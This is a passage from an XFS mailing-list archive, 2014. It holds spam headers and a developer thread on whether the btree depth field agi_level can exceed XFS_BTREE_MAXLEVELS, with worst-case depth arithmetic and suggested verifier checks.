--=_1c9h52qqcy68-- From info@trf.com Wed Feb 12 17:34:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=EMPTY_MESSAGE,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D106C7F54 for ; Wed, 12 Feb 2014 17:34:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BFAEA8F8073 for ; Wed, 12 Feb 2014 15:34:11 -0800 (PST) X-ASG-Debug-ID: 1392248048-04cb6c06cf0c2f0001-w1Z2WR Received: from mail.indeci.gob.pe (mail.indeci.gob.pe [200.48.54.35]) by cuda.sgi.com with ESMTP id cTM04CUNFWTRjxeh for ; Wed, 12 Feb 2014 15:34:08 -0800 (PST) X-Barracuda-Envelope-From: info@trf.com X-Barracuda-Apparent-Source-IP: 200.48.54.35 Received: by mail.indeci.gob.pe (Postfix, from userid 65534) id C1D2697251A; Wed, 12 Feb 2014 17:59:33 -0500 (PET) Received: from 41.203.69.2 ([41.203.69.2]) by mail.indeci.gob.pe (Horde Framework) with HTTP; Wed, 12 Feb 2014 23:59:33 +0100 Message-ID: <20140212235933.214211zjbzm8u09w@mail.indeci.gob.pe> Date: Wed, 12 Feb 2014 23:59:33 +0100 From: YUNG KIM Reply-To: yung.kim@qq.com To: undisclosed-recipients:; Subject: MIME-Version: 1.0 X-ASG-Orig-Subj: Content-Type: multipart/alternative; boundary="=_70qq24lztcsg" Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.6) X-Barracuda-Connect: mail.indeci.gob.pe[200.48.54.35] X-Barracuda-Start-Time: 1392248048 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.40 X-Barracuda-Spam-Status: No, SCORE=2.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, EMPTY_MESSAGE, HTML_MESSAGE, MISSING_SUBJECT, MISSING_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145065 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 EMPTY_MESSAGE Message appears to have no textual parts and no Subject: text 0.01 MISSING_SUBJECT Missing Subject: header 0.50 BSF_SC0_SA620a Custom Rule SA620a 1.28 MISSING_SUBJECT_2 Missing Subject: header This message is in MIME format. --=_70qq24lztcsg Content-Type: text/plain; charset= Content-Description: Plaintext Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit --=_70qq24lztcsg Content-Type: text/html; charset= Content-Description: HTML Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit
--=_70qq24lztcsg-- From info@trf.com Wed Feb 12 17:35:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=EMPTY_MESSAGE,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3D66D7F56 for ; Wed, 12 Feb 2014 17:35:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2982F8F8073 for ; Wed, 12 Feb 2014 15:35:06 -0800 (PST) X-ASG-Debug-ID: 1392248104-04cbb00c2b320200001-w1Z2WR Received: from mail.indeci.gob.pe (mail.indeci.gob.pe [200.48.54.35]) by cuda.sgi.com with ESMTP id TkbYVgwtpEq1qb21 for ; Wed, 12 Feb 2014 15:35:05 -0800 (PST) X-Barracuda-Envelope-From: info@trf.com X-Barracuda-Apparent-Source-IP: 200.48.54.35 Received: by mail.indeci.gob.pe (Postfix, from userid 65534) id 17DFD97251D; Wed, 12 Feb 2014 17:59:59 -0500 (PET) Received: from 41.203.69.2 ([41.203.69.2]) by mail.indeci.gob.pe (Horde Framework) with HTTP; Wed, 12 Feb 2014 23:59:59 +0100 Message-ID: <20140212235959.77163wyak1bjb86c@mail.indeci.gob.pe> Date: Wed, 12 Feb 2014 23:59:59 +0100 From: YUNG KIM Reply-To: yung.kim@qq.com To: undisclosed-recipients:; Subject: MIME-Version: 1.0 X-ASG-Orig-Subj: Content-Type: multipart/alternative; boundary="=_t9kotfsyfwg" Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.6) X-Barracuda-Connect: mail.indeci.gob.pe[200.48.54.35] X-Barracuda-Start-Time: 1392248104 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.40 X-Barracuda-Spam-Status: No, SCORE=2.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, EMPTY_MESSAGE, HTML_MESSAGE, MISSING_SUBJECT, MISSING_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145065 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 EMPTY_MESSAGE Message appears to have no textual parts and no Subject: text 0.01 MISSING_SUBJECT Missing Subject: header 0.50 BSF_SC0_SA620a Custom Rule SA620a 1.28 MISSING_SUBJECT_2 Missing Subject: header This message is in MIME format. --=_t9kotfsyfwg Content-Type: text/plain; charset= Content-Description: Plaintext Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit --=_t9kotfsyfwg Content-Type: text/html; charset= Content-Description: HTML Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit
--=_t9kotfsyfwg-- From sandeen@sandeen.net Wed Feb 12 17:54:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ED6867F58 for ; Wed, 12 Feb 2014 17:54:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 82FB5AC006 for ; Wed, 12 Feb 2014 15:54:22 -0800 (PST) X-ASG-Debug-ID: 1392249260-04bdf0734c18e1d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id yPZHZA8UP6a5U97m for ; Wed, 12 Feb 2014 15:54:20 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 6775063D04AA for ; Wed, 12 Feb 2014 17:54:20 -0600 (CST) Message-ID: <52FC09AB.3030209@sandeen.net> Date: Wed, 12 Feb 2014 17:54:19 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: Limits on agi->agi_level (and other btree depths?) X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: Limits on agi->agi_level (and other btree depths?) Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392249260 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145066 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- If agi->agi_level exceeds XFS_BTREE_MAXLEVELS (8), bad things happen. For example in xfs_inobt_init_cursor() we read it directly off disk into a btree cursor: xfs_inobt_init_cursor() cur->bc_nlevels = be32_to_cpu(agi->agi_level); and then when it's time to tear it down we'll index into bc_bufs[] buy whatever it said: xfs_btree_del_cursor() for (i = 0; i < cur->bc_nlevels; i++) { if (cur->bc_bufs[i]) xfs_trans_brelse(cur->bc_tp, cur->bc_bufs[i]); but bc_bufs[] in the xfs_btree_cur is of fixed size: struct xfs_buf *bc_bufs[XFS_BTREE_MAXLEVELS]; /* buf ptr per level */ where #define XFS_BTREE_MAXLEVELS 8 /* max of all btrees */ (which means this limits any btree depth, not just agi, right...) ... So I ran across this on an intentionally corrupted image, but I don't know what stops us from going past XFS_BTREE_MAXLEVELS in normal operations (unless we just hit filesystem limits before then?) i.e. xfs_btree_new_root() does: /* Set the root in the holding structure increasing the level by 1. */ cur->bc_ops->set_root(cur, &lptr, 1); and ->set_root / xfs_inobt_set_root() will happily increase agi_level; I don't see anything limiting it to XFS_BTREE_MAXLEVELS. I guess XFS_BTREE_MAXLEVELS is just an arbitrary in-memory limit, not a limit of the underlying disk structures, but as it stands, we should be sure that we don't exceed it, right? I was going to put that limit into xfs_agi_verify, but realized that I wasn't sure if we could actually exceed that depth in normal operations. (cue dchinner working out that 9 levels is 59 bazillion jillion items, and will never be hit?) Thanks, -Eric From sgosse@sgi.com Wed Feb 12 19:01:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E00C77F58 for ; Wed, 12 Feb 2014 19:01:55 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4DFF0AC014; Wed, 12 Feb 2014 17:01:52 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.247]) by PV-EXCAS1-DC21.corp.sgi.com ([137.38.106.7]) with mapi id 14.03.0123.003; Wed, 12 Feb 2014 19:01:51 -0600 From: Shaun Gosse To: Eric Sandeen , xfs-oss Subject: RE: Limits on agi->agi_level (and other btree depths?) Thread-Topic: Limits on agi->agi_level (and other btree depths?) Thread-Index: AQHPKE3EXpXBTYd/LUmeWaMJV72/rpqyVtHQ Date: Thu, 13 Feb 2014 01:01:50 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708644B09B9@P-EXMB2-DC21.corp.sgi.com> References: <52FC09AB.3030209@sandeen.net> In-Reply-To: <52FC09AB.3030209@sandeen.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.222] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 > (cue dchinner working out that 9 levels is 59 bazillion jillion items, a= nd will never be hit?) I don't know the XFS code and how it does B-trees. This is a very rough ini= tial estimate that would apply to any sort of tree. Since we want to know w= hen we're required to exceed a depth of 8, presume a full tree for simplici= ty. Say your branching factor for the whole tree is equal to the maximum de= pth. If it's higher, you have more room of course. But if it is equal, then= you have 8**8 leaf nodes (calling the root node a depth of zero) before yo= u have to add a depth 9 (or increase your branching factor; if there is a l= imit that might be hit, this would be the way to go to avoid more depth). That gives you about 16 and three quarters million leaf nodes to work with.= Of course if you're storing multiple entries per node, that gives you a co= nstant factor on top. In any event, sounds like it may be worth considering whether the limit cou= ld ever be reached and how to extend it if so. Given the discussion that's = occurred about stack size, I could see where recursing on ever-deeper trees= could be problematic, although perhaps it would be possible to use tail-re= cursion in anything which doesn't need to scan the full tree at least (if t= hat's not already done). Given that XFS has a theoretical maximum filesystem size of 18 Exabytes, fo= r a hypothetical filesystem composed of 1k sized files (just to be maximall= y difficult; worst-case analysis), that's about 2 x 10**16 inodes to store.= I'm sure this would make a lot of other things break first, but it would a= lso blow past the number of leaves you can have in a tree of maximum height= of 8, unless your branching factor goes above 50. And I doubt more than 10= 0-1000 entries are being squeezed into a leaf, if that. Sorry, I don't normally jump into the discussions on here, just follow alon= g, since I'm not very familiar with the XFS code, but this seemed like an i= nteresting question which could be partially addressed without any familiar= ity with the internals. I will be curious to read what XFS is actually doing in this area in greate= r detail. And I look forward to the XFS test (and rig) that can manage to b= reak it / exercise the limit...is there any known limit to the number of fi= les? http://xfs.org/docs/xfsdocs-xml-dev/XFS_User_Guide/tmp/en-US/html/ch02= s04.html just lists max file size and file system size. If nothing else, it= would be worth determining the limit and documenting it. Cheers, -Shaun From david@fromorbit.com Wed Feb 12 19:03:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 41FF87F58 for ; Wed, 12 Feb 2014 19:03:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 12F26304039 for ; Wed, 12 Feb 2014 17:03:19 -0800 (PST) X-ASG-Debug-ID: 1392253394-04bdf0121f345880001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id wdzuoEwEFqmtVwTO for ; Wed, 12 Feb 2014 17:03:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIABcZ/FJ5LJLw/2dsb2JhbABZgwyDPrcxhVCBFxd0giUBAQQBJxMcIwULCAMYCSUPBSUDIROHfQfIMhcWjgxXB4Q4BJgpilCHUoNBKIEtAR4G Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail06.adl2.internode.on.net with ESMTP; 13 Feb 2014 11:33:13 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDkho-0002KM-EN; Thu, 13 Feb 2014 12:03:08 +1100 Date: Thu, 13 Feb 2014 12:03:08 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: Limits on agi->agi_level (and other btree depths?) Message-ID: <20140213010308.GH13997@dastard> X-ASG-Orig-Subj: Re: Limits on agi->agi_level (and other btree depths?) References: <52FC09AB.3030209@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FC09AB.3030209@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392253394 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145067 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 05:54:19PM -0600, Eric Sandeen wrote: > If agi->agi_level exceeds XFS_BTREE_MAXLEVELS (8), bad things > happen. For example in xfs_inobt_init_cursor() we read it > directly off disk into a btree cursor: > > xfs_inobt_init_cursor() > cur->bc_nlevels = be32_to_cpu(agi->agi_level); > > and then when it's time to tear it down we'll index into bc_bufs[] > buy whatever it said: > > xfs_btree_del_cursor() > for (i = 0; i < cur->bc_nlevels; i++) { > if (cur->bc_bufs[i]) > xfs_trans_brelse(cur->bc_tp, cur->bc_bufs[i]); > > but bc_bufs[] in the xfs_btree_cur is of fixed size: > > struct xfs_buf *bc_bufs[XFS_BTREE_MAXLEVELS]; /* buf ptr per level */ > > where > > #define XFS_BTREE_MAXLEVELS 8 /* max of all btrees */ > > (which means this limits any btree depth, not just agi, right...) > > ... > So I ran across this on an intentionally corrupted image, but I > don't know what stops us from going past XFS_BTREE_MAXLEVELS in > normal operations (unless we just hit filesystem limits before > then?) Right, we hit filesystem limits before we get deeper than 8 levels. For an AGI btree, ptr/key pairs in a node use 8 bytes, while records use 16 bytes. Hence worst case is a 512 byte blocksize filesystem where we get roughly 30 records/leaf and 60 ptr/key pairs per node. So, the number of extents we can reference at different levels are: level number 0 30 1 60 * 30 2 60^2 * 30 .... n 60^n * 30 In 1TB AG, worst case freespace is alternate single block freespace, so that's 1TB/blocksize/2 = (2^31*2^9) / 2^9 / 2^1 = 2^30 extent records for a 512 byte blocksize filesystem. 2^30 : 1,073,741,824 records n = 5 : 23,328,000,000 records So the maximum possible number of levels for an AGI btree is 6 (5 node levels + leaf level). The AGF btrees are the same (32 bit key/ptrs, 16 byte records) The AGF freespace trees are more dense - the records are only 8 bytes so there's 60/leaf. It still needs 6 levels though. For the extent btree (bmbt) it can index 54 bits of file offset, so worst case is single block fragments so 2^54 extents. Records are 16 bytes, key and pointers are 8 bytes each. Hence 30/30 are the numbers for a 512 byte block size fs. At level n, the extents are 30^n * 30 = 30^(n+1). So, solving 2^54 <= 30^(n+1) gives n = 11. So in theory we could overflow XFS_BTREE_MAXLEVELS here, but in practice this worst case requires 30^8 extents in memory, and that requires this much RAM: 656,100,000,000 * sizeof(struct xfs_bmbt_irec) bytes = 656,100,000,000 * 32 bytes ~= 19TiB And requires reading in from disk 512 bytes at a time. Nothing in XFS^WLinux scales to indexing 19TiB of extent metadata with any efficiency in this manner. And let's face it, if you have a 300TiB file in single 512 byte block fragments, you've got bigger problems. The least of which being that you should be using a larger block size... Back in reality, if we take a 4k block size, the bmbt tree has a 240/240 breakdown, which means that the equation is actually 2^54 <= 240^(n+1), and in that case n = 6, so we don't overflow XFS_BTREE_MAXLEVELS at all for the normal mkfs cases. > i.e. xfs_btree_new_root() does: > > /* Set the root in the holding structure increasing the level by 1. */ > cur->bc_ops->set_root(cur, &lptr, 1); > > and ->set_root / xfs_inobt_set_root() will happily increase > agi_level; I don't see anything limiting it to > XFS_BTREE_MAXLEVELS. Physical limits of the AGI due to the 1TB size of the AG. > I guess XFS_BTREE_MAXLEVELS is just an arbitrary in-memory limit, > not a limit of the underlying disk structures, but as it stands, > we should be sure that we don't exceed it, right? If you really want to enforce XFS_BTREE_MAXLEVELS, add checks into xfs_alloc_compute_maxlevels(), xfs_ialloc_compute_maxlevels() and xfs_bmap_compute_maxlevels() to constrain the limits in the struct xfs_mount and validate the on-disk values based on the values in the struct xfs_mount. > I was going to put that limit into xfs_agi_verify, but realized > that I wasn't sure if we could actually exceed that depth in > normal operations. > > (cue dchinner working out that 9 levels is 59 bazillion jillion > items, and will never be hit?) Yep, done that ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From sgosse@sgi.com Wed Feb 12 19:16:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 731C87F58 for ; Wed, 12 Feb 2014 19:16:50 -0600 (CST) Received: from xmail.sgi.com (pv-excas3-dc21.corp.sgi.com [137.38.106.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4634AC006; Wed, 12 Feb 2014 17:16:49 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.247]) by pv-excas3-dc21.corp.sgi.com ([137.38.106.11]) with mapi id 14.03.0123.003; Wed, 12 Feb 2014 19:16:49 -0600 From: Shaun Gosse To: Dave Chinner , Eric Sandeen CC: xfs-oss Subject: RE: Limits on agi->agi_level (and other btree depths?) Thread-Topic: Limits on agi->agi_level (and other btree depths?) Thread-Index: AQHPKE3EXpXBTYd/LUmeWaMJV72/rpqywrAA//+dj8A= Date: Thu, 13 Feb 2014 01:16:47 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708644B09DA@P-EXMB2-DC21.corp.sgi.com> References: <52FC09AB.3030209@sandeen.net> <20140213010308.GH13997@dastard> In-Reply-To: <20140213010308.GH13997@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.222] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Dave, Great read; thanks! It makes sense that the 1TB AG limit gets hit far faste= r than the depth. Given those numbers, XFS does look feasible for billions = of files, for at least this scaling. And as you point out, the arbitrary worst-case scenario hits other performa= nce and logic issues anyhow (pathological allocation patterns essentially). Is there any xfstest which tries to see what happens when you fill up the A= G group? 1TB wouldn't be an entirely impossible amount of data to write, al= though it would take a long time of course, and whatever it took to generat= e that could take a while. It might function as an overall stress test in a= worst-case type of scenario? This is an XFS 101 question, but does / can i= t split the AG once it approaches that limit? (And then of course the B-tre= e will be reduced as well, so it doesn't result in further issue, just curi= ous about how the AG filling up is handled.) Cheers, -Shaun -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Dave Chinner Sent: Wednesday, February 12, 2014 7:03 PM To: Eric Sandeen Cc: xfs-oss Subject: Re: Limits on agi->agi_level (and other btree depths?) On Wed, Feb 12, 2014 at 05:54:19PM -0600, Eric Sandeen wrote: > If agi->agi_level exceeds XFS_BTREE_MAXLEVELS (8), bad things happen. =20 > For example in xfs_inobt_init_cursor() we read it directly off disk=20 > into a btree cursor: >=20 > xfs_inobt_init_cursor() > cur->bc_nlevels =3D be32_to_cpu(agi->agi_level); >=20 > and then when it's time to tear it down we'll index into bc_bufs[] buy=20 > whatever it said: >=20 > xfs_btree_del_cursor() > for (i =3D 0; i < cur->bc_nlevels; i++) { > if (cur->bc_bufs[i]) > xfs_trans_brelse(cur->bc_tp, cur->bc_bufs[i]); >=20 > but bc_bufs[] in the xfs_btree_cur is of fixed size: >=20 > struct xfs_buf *bc_bufs[XFS_BTREE_MAXLEVELS]; /* buf ptr per=20 > level */ >=20 > where >=20 > #define XFS_BTREE_MAXLEVELS 8 /* max of all btrees */ >=20 > (which means this limits any btree depth, not just agi, right...) >=20 > ... > So I ran across this on an intentionally corrupted image, but I don't=20 > know what stops us from going past XFS_BTREE_MAXLEVELS in normal=20 > operations (unless we just hit filesystem limits before > then?) Right, we hit filesystem limits before we get deeper than 8 levels. For an AGI btree, ptr/key pairs in a node use 8 bytes, while records use 16= bytes. Hence worst case is a 512 byte blocksize filesystem where we get ro= ughly 30 records/leaf and 60 ptr/key pairs per node. So, the number of extents we can reference at different levels are: level number 0 30 1 60 * 30 2 60^2 * 30 .... n 60^n * 30 In 1TB AG, worst case freespace is alternate single block freespace, so tha= t's 1TB/blocksize/2 =3D (2^31*2^9) / 2^9 / 2^1 =3D 2^30 extent records for = a 512 byte blocksize filesystem. 2^30 : 1,073,741,824 records n =3D 5 : 23,328,000,000 records So the maximum possible number of levels for an AGI btree is 6 (5 node leve= ls + leaf level). The AGF btrees are the same (32 bit key/ptrs, 16 byte rec= ords) The AGF freespace trees are more dense - the records are only 8 bytes so th= ere's 60/leaf. It still needs 6 levels though. For the extent btree (bmbt) it can index 54 bits of file offset, so worst c= ase is single block fragments so 2^54 extents. Records are 16 bytes, key an= d pointers are 8 bytes each. Hence 30/30 are the numbers for a 512 byte blo= ck size fs. At level n, the extents are 30^n * 30 =3D 30^(n+1). So, solving= 2^54 <=3D 30^(n+1) gives n =3D 11. So in theory we could overflow XFS_BTREE_MAXLEVELS here, but in practice th= is worst case requires 30^8 extents in memory, and that requires this much = RAM: 656,100,000,000 * sizeof(struct xfs_bmbt_irec) bytes =3D 656,100,000,000 * 32 bytes ~=3D 19TiB And requires reading in from disk 512 bytes at a time. Nothing in XFS^WLin= ux scales to indexing 19TiB of extent metadata with any efficiency in this = manner. And let's face it, if you have a 300TiB file in single 512 byte blo= ck fragments, you've got bigger problems. The least of which being that you should be using a larger block size... Back in reality, if we take a 4k block size, the bmbt tree has a 240/240 breakdown, which means that the equation is actually 2^54 <=3D 240^= (n+1), and in that case n =3D 6, so we don't overflow XFS_BTREE_MAXLEVELS a= t all for the normal mkfs cases. > i.e. xfs_btree_new_root() does: >=20 > /* Set the root in the holding structure increasing the level by= 1. */ > cur->bc_ops->set_root(cur, &lptr, 1); >=20 > and ->set_root / xfs_inobt_set_root() will happily increase agi_level;=20 > I don't see anything limiting it to XFS_BTREE_MAXLEVELS. Physical limits of the AGI due to the 1TB size of the AG. > I guess XFS_BTREE_MAXLEVELS is just an arbitrary in-memory limit, not=20 > a limit of the underlying disk structures, but as it stands, we should=20 > be sure that we don't exceed it, right? If you really want to enforce XFS_BTREE_MAXLEVELS, add checks into xfs_allo= c_compute_maxlevels(), xfs_ialloc_compute_maxlevels() and xfs_bmap_compute_= maxlevels() to constrain the limits in the struct xfs_mount and validate th= e on-disk values based on the values in the struct xfs_mount. > I was going to put that limit into xfs_agi_verify, but realized that I=20 > wasn't sure if we could actually exceed that depth in normal=20 > operations. >=20 > (cue dchinner working out that 9 levels is 59 bazillion jillion items,=20 > and will never be hit?) Yep, done that ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Wed Feb 12 19:53:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 24EDD7F58 for ; Wed, 12 Feb 2014 19:53:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id AD772AC014 for ; Wed, 12 Feb 2014 17:53:58 -0800 (PST) X-ASG-Debug-ID: 1392256435-04cbb00c2a326950001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id L0CCAAwo7wCFaT4A for ; Wed, 12 Feb 2014 17:53:56 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 989B763D04AA; Wed, 12 Feb 2014 19:53:55 -0600 (CST) Message-ID: <52FC25B3.20409@sandeen.net> Date: Wed, 12 Feb 2014 19:53:55 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs-oss Subject: Re: Limits on agi->agi_level (and other btree depths?) References: <52FC09AB.3030209@sandeen.net> <20140213010308.GH13997@dastard> X-ASG-Orig-Subj: Re: Limits on agi->agi_level (and other btree depths?) In-Reply-To: <20140213010308.GH13997@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392256436 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145068 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/12/14, 7:03 PM, Dave Chinner wrote: > On Wed, Feb 12, 2014 at 05:54:19PM -0600, Eric Sandeen wrote: ... >> I guess XFS_BTREE_MAXLEVELS is just an arbitrary in-memory limit, >> not a limit of the underlying disk structures, but as it stands, >> we should be sure that we don't exceed it, right? > > If you really want to enforce 